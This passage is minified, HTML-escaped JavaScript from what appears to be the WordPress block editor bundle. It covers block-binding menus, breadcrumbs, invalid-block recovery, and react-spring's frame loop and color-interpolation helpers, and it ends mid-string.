Ri=l(w(),1),{Menu:fC}=M(Cs.privateApis);function $v({attribute:e,binding:t,blockName:o}){let{updateBlockBindings:r}=El(),n=(0,CH.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),i=(0,wH.useContext)(xr),s=(0,RM.useSelect)(g=&gt;{let{getAllBlockBindingsSources:b,getBlockBindingsSourceFieldsList:v,getBlockType:k}=M(g(pC.store)),y=k(o).attributes?.[e];if(y?.enum)return{};let S=y?.type===&quot;rich-text&quot;?&quot;string&quot;:y?.type,x={};return Object.entries(b()).forEach(([C,B])=&gt;{let I=v(B,i);if(!I?.length)return;let P=I.filter(E=&gt;E.type===S);P.length&amp;&amp;(x[C]=P)}),x},[e,o,i]),{canUpdateBlockBindings:a}=(0,RM.useSelect)(g=&gt;({canUpdateBlockBindings:g(_).getSettings().canUpdateBlockBindings})),c=Object.keys(s).length&gt;0,u=!a||!c,{source:d,args:f}=t||{},m=(0,pC.getBlockBindingsSource)(d),h,p=!0;return t===void 0?(c?h=(0,mC.__)(&quot;Not connected&quot;):h=(0,mC.__)(&quot;No sources available&quot;),p=!0):m?h=s?.[d]?.find(g=&gt;(0,xH.default)(g.args,f))?.label||m?.label||d:(p=!1,h=(0,mC.__)(&quot;Source not registered&quot;)),(0,Ri.jsx)(Cs.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t,label:e,onDeselect:!!c&amp;&amp;(()=&gt;{r({[e]:void 0})}),children:(0,Ri.jsxs)(fC,{placement:n?&quot;bottom-start&quot;:&quot;left-start&quot;,children:[(0,Ri.jsx)(fC.TriggerButton,{render:(0,Ri.jsx)(Cs.__experimentalItem,{}),disabled:!c,children:(0,Ri.jsxs)(Cs.__experimentalVStack,{className:&quot;block-editor-bindings__item&quot;,spacing:0,children:[(0,Ri.jsx)(Cs.__experimentalText,{truncate:!0,children:e}),(0,Ri.jsx)(Cs.__experimentalText,{truncate:!0,variant:p?&quot;muted&quot;:void 0,isDestructive:!p,children:h})]})}),!u&amp;&amp;(0,Ri.jsx)(fC.Popover,{gutter:n?8:36,children:(0,Ri.jsx)(fC,{placement:n?&quot;bottom-start&quot;:&quot;left-start&quot;,children:Object.entries(s).map(([g,b])=&gt;(0,Ri.jsx)(Wv,{args:t?.args,attribute:e,sourceKey:g,fields:b},g))})})]})})}var BH=l(N(),1),EH=l(A(),1);var TH=l(w(),1);function Qve({isActive:e,label:t=(0,BH.__)(&quot;Full height&quot;),onToggle:o,isDisabled:r}){return(0,TH.jsx)(EH.ToolbarButton,{isActive:e,icon:NA,label:t,onClick:()=&gt;o(!e),disabled:r})}var IH=Qve;var RH=l(N(),1),OH=l(it(),1),Gf=l(A(),1),Kv=l(w(),1),Jve=()=&gt;{};function eye(e){let{label:t=(0,RH.__)(&quot;Change matrix alignment&quot;),onChange:o=Jve,value:r=&quot;center&quot;,isDisabled:n}=e,i=(0,Kv.jsx)(Gf.AlignmentMatrixControl.Icon,{value:r});return(0,Kv.jsx)(Gf.Dropdown,{popoverProps:{placement:&quot;bottom-start&quot;},renderToggle:({onToggle:s,isOpen:a})=&gt;(0,Kv.jsx)(Gf.ToolbarButton,{onClick:s,&quot;aria-haspopup&quot;:&quot;true&quot;,&quot;aria-expanded&quot;:a,onKeyDown:u=&gt;{!a&amp;&amp;u.keyCode===OH.DOWN&amp;&amp;(u.preventDefault(),s())},label:t,icon:i,showTooltip:!0,disabled:n}),renderContent:()=&gt;(0,Kv.jsx)(Gf.AlignmentMatrixControl,{onChange:o,value:r})})}var AH=eye;var LM=l(A(),1),bC=l(F(),1),kC=l(N(),1);var zH=l(R(),1);var LH=l(F(),1),hC=l($(),1);function zr({clientId:e,maximumLength:t,context:o}){let r=(0,LH.useSelect)(n=&gt;{if(!e)return null;let{getBlockName:i,getBlockAttributes:s}=n(_),{getBlockType:a,getActiveBlockVariation:c}=n(hC.store),u=i(e),d=a(u);if(!d)return null;let f=s(e),m=(0,hC.__experimentalGetBlockLabel)(d,f,o);return m!==d.title?m:c(u,f)?.title||d.title},[e,o]);return r?t&amp;&amp;t&gt;0&amp;&amp;r.length&gt;t?r.slice(0,t-3)+&quot;...&quot;:r:null}function Yv({clientId:e,maximumLength:t,context:o}){return zr({clientId:e,maximumLength:t,context:o})}var Wf=l(R(),1),DH=l(Z(),1);var gC=l(R(),1),OM=l(Z(),1),NH=l(w(),1),qv=(0,gC.createContext)({refsMap:(0,OM.observableMap)()});qv.displayName=&quot;BlockRefsContext&quot;;function MH({children:e}){let t=(0,gC.useMemo)(()=&gt;({refsMap:(0,OM.observableMap)()}),[]);return(0,NH.jsx)(qv.Provider,{value:t,children:e})}function VH(e){let{refsMap:t}=(0,Wf.useContext)(qv);return(0,DH.useRefEffect)(o=&gt;(t.set(e,o),()=&gt;t.delete(e)),[e])}function AM(e,t){typeof e==&quot;function&quot;?e(t):e&amp;&amp;(e.current=t)}function $f(e,t){let{refsMap:o}=(0,Wf.useContext)(qv);(0,Wf.useLayoutEffect)(()=&gt;{AM(t,o.get(e));let r=o.subscribe(e,()=&gt;AM(t,o.get(e)));return()=&gt;{r(),AM(t,null)}},[o,e,t])}function Xe(e){let[t,o]=(0,Wf.useState)(null);return $f(e,o),t}function FH(e){if(!e)return null;let t=Array.from(document.querySelectorAll(&#039;iframe[name=&quot;editor-canvas&quot;]&#039;).values()).find(o=&gt;(o.contentDocument||o.contentWindow.document)===e.ownerDocument)??e;return t?.closest(&#039;[role=&quot;region&quot;]&#039;)??t}var Wn=l(w(),1);function tye({rootLabelText:e}){let{selectBlock:t,clearSelectedBlock:o}=(0,bC.useDispatch)(_),{clientId:r,parents:n,hasSelection:i}=(0,bC.useSelect)(c=&gt;{let{getSelectionStart:u,getSelectedBlockClientId:d,getEnabledBlockParents:f}=M(c(_)),m=d();return{parents:f(m),clientId:m,hasSelection:!!u().clientId}},[]),s=e||(0,kC._x)(&quot;Document&quot;,&quot;noun, breadcrumb&quot;),a=(0,zH.useRef)();return $f(r,a),(0,Wn.jsxs)(&quot;ul&quot;,{className:&quot;block-editor-block-breadcrumb&quot;,role:&quot;list&quot;,&quot;aria-label&quot;:(0,kC.__)(&quot;Block breadcrumb&quot;),children:[(0,Wn.jsxs)(&quot;li&quot;,{className:i?void 0:&quot;block-editor-block-breadcrumb__current&quot;,&quot;aria-current&quot;:i?void 0:&quot;true&quot;,children:[i&amp;&amp;(0,Wn.jsx)(LM.Button,{size:&quot;small&quot;,className:&quot;block-editor-block-breadcrumb__button&quot;,onClick:()=&gt;{let c=a.current?.closest(&quot;.editor-styles-wrapper&quot;);o(),FH(c)?.focus()},children:s}),!i&amp;&amp;(0,Wn.jsx)(&quot;span&quot;,{children:s}),!!r&amp;&amp;(0,Wn.jsx)(we,{icon:tu,className:&quot;block-editor-block-breadcrumb__separator&quot;})]}),n.map(c=&gt;(0,Wn.jsxs)(&quot;li&quot;,{children:[(0,Wn.jsx)(LM.Button,{size:&quot;small&quot;,className:&quot;block-editor-block-breadcrumb__button&quot;,onClick:()=&gt;t(c),children:(0,Wn.jsx)(Yv,{clientId:c,maximumLength:35,context:&quot;breadcrumb&quot;})}),(0,Wn.jsx)(we,{icon:tu,className:&quot;block-editor-block-breadcrumb__separator&quot;})]},c)),!!r&amp;&amp;(0,Wn.jsx)(&quot;li&quot;,{className:&quot;block-editor-block-breadcrumb__current&quot;,&quot;aria-current&quot;:&quot;true&quot;,children:(0,Wn.jsx)(Yv,{clientId:r,maximumLength:35,context:&quot;breadcrumb&quot;})})]})}var jH=tye;var UH=l(F(),1);function HH(e){return(0,UH.useSelect)(t=&gt;{let{__unstableHasActiveBlockOverlayActive:o}=t(_);return o(e)},[e])}var wT=l(Z(),1),QQ=l(R(),1),JQ=l(F(),1),eJ=l(A(),1);var Gi=l(F(),1),XB=l(Z(),1),td=l(R(),1),lq=l($(),1);var Nu=l(R(),1),He=l($(),1),p9=l(A(),1),c1=l(F(),1),u1=l(Z(),1),h9=l(Fe(),1);var Tl=l(N(),1),yC=l(A(),1),Kf=l(R(),1),ch=l($(),1),SC=l(F(),1);var QH=l(YH(),1),vC=l(N(),1),JH=l($(),1);var qH=l(A(),1),ZH=l(R(),1),XH=l(Fe(),1),ga=l(w(),1);function MM({title:e,rawContent:t,renderedContent:o,action:r,actionText:n,className:i}){return(0,ga.jsxs)(&quot;div&quot;,{className:i,children:[(0,ga.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-compare__content&quot;,children:[(0,ga.jsx)(&quot;h2&quot;,{className:&quot;block-editor-block-compare__heading&quot;,children:e}),(0,ga.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-compare__html&quot;,children:t}),(0,ga.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-compare__preview edit-post-visual-editor&quot;,children:(0,ga.jsx)(ZH.RawHTML,{children:(0,XH.safeHTML)(o)})})]}),(0,ga.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-compare__action&quot;,children:(0,ga.jsx)(qH.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,tabIndex:&quot;0&quot;,onClick:r,children:n})})]})}var lh=l(w(),1);function aye({block:e,onKeep:t,onConvert:o,convertor:r,convertButtonText:n}){function i(u,d){return(0,QH.diffChars)(u,d).map((m,h)=&gt;{let p=V({&quot;block-editor-block-compare__added&quot;:m.added,&quot;block-editor-block-compare__removed&quot;:m.removed});return(0,lh.jsx)(&quot;span&quot;,{className:p,children:m.value},h)})}function s(u){return(Array.isArray(u)?u:[u]).map(m=&gt;(0,JH.getSaveContent)(m.name,m.attributes,m.innerBlocks)).join(&quot;&quot;)}let a=s(r(e)),c=i(e.originalContent,a);return(0,lh.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-compare__wrapper&quot;,children:[(0,lh.jsx)(MM,{title:(0,vC.__)(&quot;Current&quot;),className:&quot;block-editor-block-compare__current&quot;,action:t,actionText:(0,vC.__)(&quot;Convert to HTML&quot;),rawContent:e.originalContent,renderedContent:e.originalContent}),(0,lh.jsx)(MM,{title:(0,vC.__)(&quot;After Conversion&quot;),className:&quot;block-editor-block-compare__converted&quot;,action:o,actionText:n,rawContent:c,renderedContent:a})]})}var e8=aye;var Il=l(w(),1),t8=e=&gt;(0,ch.rawHandler)({HTML:e.originalContent});function o8({clientId:e}){let{block:t,canInsertHTMLBlock:o,canInsertClassicBlock:r}=(0,SC.useSelect)(d=&gt;{let{canInsertBlockType:f,getBlock:m,getBlockRootClientId:h}=d(_),p=h(e);return{block:m(e),canInsertHTMLBlock:f(&quot;core/html&quot;,p),canInsertClassicBlock:f(&quot;core/freeform&quot;,p)}},[e]),{replaceBlock:n}=(0,SC.useDispatch)(_),[i,s]=(0,Kf.useState)(!1),a=(0,Kf.useCallback)(()=&gt;s(!1),[]),c=(0,Kf.useMemo)(()=&gt;({toClassic(){let d=(0,ch.createBlock)(&quot;core/freeform&quot;,{content:t.originalContent});return n(t.clientId,d)},toHTML(){let d=(0,ch.createBlock)(&quot;core/html&quot;,{content:t.originalContent});return n(t.clientId,d)},toBlocks(){let d=t8(t);return n(t.clientId,d)},toRecoveredBlock(){let d=(0,ch.createBlock)(t.name,t.attributes,t.innerBlocks);return n(t.clientId,d)}}),[t,n]),u=(0,Kf.useMemo)(()=&gt;[{title:(0,Tl._x)(&quot;Resolve&quot;,&quot;imperative verb&quot;),onClick:()=&gt;s(!0)},o&amp;&amp;{title:(0,Tl.__)(&quot;Convert to HTML&quot;),onClick:c.toHTML},r&amp;&amp;{title:(0,Tl.__)(&quot;Convert to Classic Block&quot;),onClick:c.toClassic}].filter(Boolean),[o,r,c]);return(0,Il.jsxs)(Il.Fragment,{children:[(0,Il.jsx)(pu,{actions:[(0,Il.jsx)(yC.Button,{__next40pxDefaultSize:!0,onClick:c.toRecoveredBlock,variant:&quot;primary&quot;,children:(0,Tl.__)(&quot;Attempt recovery&quot;)},&quot;recover&quot;)],secondaryActions:u,children:(0,Tl.__)(&quot;Block contains unexpected or invalid content.&quot;)}),i&amp;&amp;(0,Il.jsx)(yC.Modal,{title:(0,Tl.__)(&quot;Resolve Block&quot;),onRequestClose:a,className:&quot;block-editor-block-compare&quot;,children:(0,Il.jsx)(e8,{block:t,onKeep:c.toHTML,onConvert:c.toBlocks,convertor:t8,convertButtonText:(0,Tl.__)(&quot;Convert to Blocks&quot;)})})]})}var r8=l(N(),1);var n8=l(w(),1),lye=(0,n8.jsx)(pu,{className:&quot;block-editor-block-list__block-crash-warning&quot;,children:(0,r8.__)(&quot;This block has encountered an error and cannot be previewed.&quot;)}),i8=()=&gt;lye;var s8=l(R(),1),cye=class extends s8.Component{constructor(){super(...arguments),this.state={hasError:!1}}componentDidCatch(){this.setState({hasError:!0})}render(){return this.state.hasError?this.props.fallback:this.props.children}},a8=cye;var B8=l(FM(),1),uh=l(R(),1),CC=l(F(),1),ba=l($(),1);var E8=l(w(),1);function yye({clientId:e}){let[t,o]=(0,uh.useState)(&quot;&quot;),r=(0,CC.useSelect)(a=&gt;a(_).getBlock(e),[e]),{updateBlock:n}=(0,CC.useDispatch)(_),i=(0,uh.useMemo)(()=&gt;r?(0,ba.getBlockContent)(r):&quot;&quot;,[r]),s=()=&gt;{let a=(0,ba.getBlockType)(r.name);if(!a)return;let c=(0,ba.getBlockAttributes)(a,t,r.attributes),u=t||(0,ba.getSaveContent)(a,c),[d]=t?(0,ba.validateBlock)({...r,attributes:c,originalContent:u}):[!0];n(e,{attributes:c,originalContent:u,isValid:d}),t||o(u)};return(0,uh.useEffect)(()=&gt;{o(i)},[i]),(0,E8.jsx)(B8.default,{className:&quot;block-editor-block-list__block-html-textarea&quot;,value:t,onBlur:s,onChange:a=&gt;o(a.target.value)})}var T8=yye;var d9=l(R(),1),a1=l(N(),1),f9=l($(),1),Ch=l(Z(),1),m9=l(Qv(),1);var jM=ey(),Se=e=&gt;Jv(e,jM),UM=ey();Se.write=e=&gt;Jv(e,UM);var BC=ey();Se.onStart=e=&gt;Jv(e,BC);var HM=ey();Se.onFrame=e=&gt;Jv(e,HM);var GM=ey();Se.onFinish=e=&gt;Jv(e,GM);var dh=[];Se.setTimeout=(e,t)=&gt;{let o=Se.now()+t,r=()=&gt;{let i=dh.findIndex(s=&gt;s.cancel==r);~i&amp;&amp;dh.splice(i,1),Bu-=~i?1:0},n={time:o,handler:e,cancel:r};return dh.splice(P8(o),0,n),Bu+=1,R8(),n};var P8=e=&gt;~(~dh.findIndex(t=&gt;t.time&gt;e)||~dh.length);Se.cancel=e=&gt;{BC.delete(e),HM.delete(e),GM.delete(e),jM.delete(e),UM.delete(e)};Se.sync=e=&gt;{zM=!0,Se.batchedUpdates(e),zM=!1};Se.throttle=e=&gt;{let t;function o(){try{e(...t)}finally{t=null}}function r(...n){t=n,Se.onStart(o)}return r.handler=e,r.cancel=()=&gt;{BC.delete(o),t=null},r};var WM=typeof window&lt;&quot;u&quot;?window.requestAnimationFrame:()=&gt;{};Se.use=e=&gt;WM=e;Se.now=typeof performance&lt;&quot;u&quot;?()=&gt;performance.now():Date.now;Se.batchedUpdates=e=&gt;e();Se.catch=console.error;Se.frameLoop=&quot;always&quot;;Se.advance=()=&gt;{Se.frameLoop!==&quot;demand&quot;?console.warn(&quot;Cannot call the manual advancement of rafz whilst frameLoop is not set as demand&quot;):A8()};var Cu=-1,Bu=0,zM=!1;function Jv(e,t){zM?(t.delete(e),e(0)):(t.add(e),R8())}function R8(){Cu&lt;0&amp;&amp;(Cu=0,Se.frameLoop!==&quot;demand&quot;&amp;&amp;WM(O8))}function Sye(){Cu=-1}function O8(){~Cu&amp;&amp;(WM(O8),Se.batchedUpdates(A8))}function A8(){let e=Cu;Cu=Se.now();let t=P8(Cu);if(t&amp;&amp;(L8(dh.splice(0,t),o=&gt;o.handler()),Bu-=t),!Bu){Sye();return}BC.flush(),jM.flush(e?Math.min(64,Cu-e):16.667),HM.flush(),UM.flush(),GM.flush()}function ey(){let e=new Set,t=e;return{add(o){Bu+=t==e&amp;&amp;!e.has(o)?1:0,e.add(o)},delete(o){return Bu-=t==e&amp;&amp;e.has(o)?1:0,e.delete(o)},flush(o){t.size&amp;&amp;(e=new Set,Bu-=t.size,L8(t,r=&gt;r(o)&amp;&amp;e.add(r)),Bu+=e.size,t=e)}}}function L8(e,t){e.forEach(o=&gt;{try{t(o)}catch(r){Se.catch(r)}})}var Ai=l(jr());function RC(){}var z8=(e,t,o)=&gt;Object.defineProperty(e,t,{value:o,writable:!0,configurable:!0}),ae={arr:Array.isArray,obj:e=&gt;!!e&amp;&amp;e.constructor.name===&quot;Object&quot;,fun:e=&gt;typeof e==&quot;function&quot;,str:e=&gt;typeof e==&quot;string&quot;,num:e=&gt;typeof e==&quot;number&quot;,und:e=&gt;e===void 0};function ka(e,t){if(ae.arr(e)){if(!ae.arr(t)||e.length!==t.length)return!1;for(let o=0;o&lt;e.length;o++)if(e[o]!==t[o])return!1;return!0}return e===t}var bt=(e,t)=&gt;e.forEach(t);function Li(e,t,o){if(ae.arr(e)){for(let r=0;r&lt;e.length;r++)t.call(o,e[r],`${r}`);return}for(let r in e)e.hasOwnProperty(r)&amp;&amp;t.call(o,e[r],r)}var hn=e=&gt;ae.und(e)?[]:ae.arr(e)?e:[e];function hh(e,t){if(e.size){let o=Array.from(e);e.clear(),bt(o,t)}}var gh=(e,...t)=&gt;hh(e,o=&gt;o(...t)),XM=()=&gt;typeof window&gt;&quot;u&quot;||!window.navigator||/ServerSideRendering|^Deno\//.test(window.navigator.userAgent),QM,j8,Eu=null,U8=!1,JM=RC,_ye=e=&gt;{e.to&amp;&amp;(j8=e.to),e.now&amp;&amp;(Se.now=e.now),e.colors!==void 0&amp;&amp;(Eu=e.colors),e.skipAnimation!=null&amp;&amp;(U8=e.skipAnimation),e.createStringInterpolator&amp;&amp;(QM=e.createStringInterpolator),e.requestAnimationFrame&amp;&amp;Se.use(e.requestAnimationFrame),e.batchedUpdates&amp;&amp;(Se.batchedUpdates=e.batchedUpdates),e.willAdvance&amp;&amp;(JM=e.willAdvance),e.frameLoop&amp;&amp;(Se.frameLoop=e.frameLoop)},$n=Object.freeze({__proto__:null,get createStringInterpolator(){return QM},get to(){return j8},get colors(){return Eu},get skipAnimation(){return U8},get willAdvance(){return JM},assign:_ye}),ty=new Set,Oi=[],$M=[],IC=0,bh={get idle(){return!ty.size&amp;&amp;!Oi.length},start(e){IC&gt;e.priority?(ty.add(e),Se.onStart(xye)):(H8(e),Se(qM))},advance:qM,sort(e){if(IC)Se.onFrame(()=&gt;bh.sort(e));else{let t=Oi.indexOf(e);~t&amp;&amp;(Oi.splice(t,1),G8(e))}},clear(){Oi=[],ty.clear()}};function xye(){ty.forEach(H8),ty.clear(),Se(qM)}function H8(e){Oi.includes(e)||G8(e)}function G8(e){Oi.splice(wye(Oi,t=&gt;t.priority&gt;e.priority),0,e)}function qM(e){let t=$M;for(let o=0;o&lt;Oi.length;o++){let r=Oi[o];IC=r.priority,r.idle||(JM(r),r.advance(e),r.idle||t.push(r))}return IC=0,$M=Oi,$M.length=0,Oi=t,Oi.length&gt;0}function wye(e,t){let o=e.findIndex(t);return o&lt;0?e.length:o}var W8={transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199},Bs=&quot;[-+]?\\d*\\.?\\d+&quot;,PC=Bs+&quot;%&quot;;function OC(...e){return&quot;\\(\\s*(&quot;+e.join(&quot;)\\s*,\\s*(&quot;)+&quot;)\\s*\\)&quot;}var Cye=new RegExp(&quot;rgb&quot;+OC(Bs,Bs,Bs)),Bye=new RegExp(&quot;rgba&quot;+OC(Bs,Bs,Bs,Bs)),Eye=new RegExp(&quot;hsl&quot;+OC(Bs,PC,PC)),Tye=new RegExp(&quot;hsla&quot;+OC(Bs,PC,PC,Bs)),Iye=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,Pye=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,Rye=/^#([0-9a-fA-F]{6})$/,Oye=/^#([0-9a-fA-F]{8})$/;function Aye(e){let t;return typeof e==&quot;number&quot;?e&gt;&gt;&gt;0===e&amp;&amp;e&gt;=0&amp;&amp;e&lt;=4294967295?e:null:(t=Rye.exec(e))?parseInt(t[1]+&quot;ff&quot;,16)&gt;&gt;&gt;0:Eu&amp;&amp;Eu[e]!==void 0?Eu[e]:(t=Cye.exec(e))?(fh(t[1])&lt;&lt;24|fh(t[2])&lt;&lt;16|fh(t[3])&lt;&lt;8|255)&gt;&gt;&gt;0:(t=Bye.exec(e))?(fh(t[1])&lt;&lt;24|fh(t[2])&lt;&lt;16|fh(t[3])&lt;&lt;8|D8(t[4]))&gt;&gt;&gt;0:(t=Iye.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+&quot;ff&quot;,16)&gt;&gt;&gt;0:(t=Oye.exec(e))?parseInt(t[1],16)&gt;&gt;&gt;0:(t=Pye.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)&gt;&gt;&gt;0:(t=Eye.exec(e))?(N8(M8(t[1]),EC(t[2]),EC(t[3]))|255)&gt;&gt;&gt;0:(t=Tye.exec(e))?(N8(M8(t[1]),EC(t[2]),EC(t[3]))|D8(t[4]))&gt;&gt;&gt;0:null}function KM(e,t,o){return o&lt;0&amp;&amp;(o+=1),o&gt;1&amp;&amp;(o-=1),o&lt;1/6?e+(t-e)*6*o:o&lt;1/2?t:o&lt;2/3?e+(t-e)*(2/3-o)*6:e}function N8(e,t,o){let r=o&lt;.5?o*(1+t):o+t-o*t,n=2*o-r,i=KM(n,r,e+1/3),s=KM(n,r,e),a=KM(n,r,e-1/3);return Math.round(i*255)&lt;&lt;24|Math.round(s*255)&lt;&lt;16|Math.round(a*255)&lt;&lt;8}function fh(e){let t=parseInt(e,10);return t&lt;0?0:t&gt;255?255:t}function M8(e){return(parseFloat(e)%360+360)%360/360}function D8(e){let t=parseFloat(e);return t&lt;0?0:t&gt;1?255:Math.round(t*255)}function EC(e){let t=parseFloat(e);return t&lt;0?0:t&gt;100?1:t/100}function V8(e){let t=Aye(e);if(t===null)return e;t=t||0;let o=(t&amp;4278190080)&gt;&gt;&gt;24,r=(t&amp;16711680)&gt;&gt;&gt;16,n=(t&amp;65280)&gt;&gt;&gt;8,i=(t&amp;255)/255;return`rgba(${o}, ${r}, ${n}, ${i})`}var Tu=(e,t,o)=&gt;{if(ae.fun(e))return e;if(ae.arr(e))return Tu({range:e,output:t,extrapolate:o});if(ae.str(e.output[0]))return QM(e);let r=e,n=r.output,i=r.range||[0,1],s=r.extrapolateLeft||r.extrapolate||&quot;extend&quot;,a=r.extrapolateRight||r.extrapolate||&quot;extend&quot;,c=r.easing||(u=&gt;u);return u=&gt;{let d=Nye(u,i);return Lye(u,i[d],i[d+1],n[d],n[d+1],c,s,a,r.map)}};function Lye(e,t,o,r,n,i,s,a,c){let u=c?c(e):e;if(u&lt;t){if(s===&quot;identity&quot;)return u;s===&quot;clamp&quot;&amp;&amp;(u=t)}if(u&gt;o){if(a===&quot;identity&quot;)return u;a===&quot;clamp&quot;&amp;&amp;(u=o)}return r===n?r:t===o?e&lt;=t?r:n:(t===-1/0?u=-u:o===1/0?u=u-t:u=(u-t)/(o-t),u=i(u),r===-1/0?u=-u:n===1/0?u=u+r:u=u*(n-r)+r,u)}function Nye(e,t){for(var o=1;o&lt;t.length-1&amp;&amp;!(t[o]&gt;=e);++o);return o-1}function ZM(){return ZM=Object.assign?Object.assign.bind():function(e){for(var t=1;t&lt;arguments.length;t++){var o=arguments[t];for(var r in o)Object.prototype.hasOwnProperty.call(o,r)&amp;&amp;(e[r]=o[r])}return e},ZM.apply(this,arguments)}var mh=Symbol.for(&quot;FluidValue.get&quot;),Yf=Symbol.for(&quot;FluidValue.observers&quot;),Ur=e=&gt;!!(e&amp;&amp;e[mh]),pr=e=&gt;e&amp;&amp;e[mh]?e[mh]():e,eD=e=&gt;e[Yf]||null;function Mye(e,t){e.eventObserved?e.eventObserved(t):e(t)}function qf(e,t){let o=e[Yf];o&amp;&amp;o.forEach(r=&gt;{Mye(r,t)})}var ph=class{constructor(t){if(this[mh]=void 0,this[Yf]=void 0,!t&amp;&amp;!(t=this.get))throw Error(&quot;Unknown getter&quot;);Dye(this,t)}},Dye=(e,t)=&gt;$8(e,mh,t);function Iu(e,t){if(e[mh]){let o=e[Yf];o||$8(e,Yf,o=new Set),o.has(t)||(o.add(t),e.observerAdded&amp;&amp;e.observerAdded(o.size,t))}return t}function Pu(e,t){let o=e[Yf];if(o&amp;&amp;o.has(t)){let r=o.size-1;r?o.delete(t):e[Yf]=null,e.observerRemoved&amp;&amp;e.observerRemoved(r,t)}}var $8=(e,t,o)=&gt;Object.defineProperty(e,t,{value:o,writable:!0,configurable:!0}),TC=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,Vye=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,F8=new RegExp(`(${TC.source})(%|[a-z]+)`,&quot;i&quot;),Fye=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,AC=/var\((--[a-zA-Z0-9-_]+),? ?([a-zA-Z0-9 ()%#.,-]+)?\)/,K8=e=&gt;{let[t,o]=zye(e);if(!t||XM())return e;let r=window.getComputedStyle(document.documentElement).getPropertyValue(t);if(r)return r.trim();if(o&amp;&amp;o.startsWith(&quot;--&quot;)){let n=window.getComputedStyle(document.documentElement).getPropertyValue(o);return n||e}else{if(o&amp;&amp;AC.test(o))return K8(o);if(o)return o}return e},zye=e=&gt;{let t=AC.exec(e);if(!t)return[,];let[,o,r]=t;return[o,r]},YM,jye=(e,t,o,r,n)=&gt;`rgba(${Math.round(t)}, ${Math.round(o)}, ${Math.round(r)}, ${n})`,LC=e=&gt;{YM||(YM=Eu?new RegExp(`(${Object.keys(Eu).join(&quot;|&quot;)})(?!\\w)`,&quot;g&quot;):/^\b$/);let t=e.output.map(i=&gt;pr(i).replace(AC,K8).replace(Vye,V8).replace(YM,V8)),o=t.map(i=&gt;i.match(TC).map(Number)),n=o[0].map((i,s)=&gt;o.map(a=&gt;{if(!(s in a))throw Error(&#039;The arity of each &quot;output&quot; value must be equal&#039;);return a[s]})).map(i=&gt;Tu(ZM({},e,{output:i})));return i=&gt;{var s;let a=!F8.test(t[0])&amp;&amp;((s=t.find(u=&gt;F8.test(u)))==null?void 0:s.replace(TC,&quot;&quot;)),c=0;return t[0].replace(TC,()=&gt;`${n[c++](i)}${a||&quot;&quot;}`).replace(Fye,jye)}},Y8=&quot;react-spring: 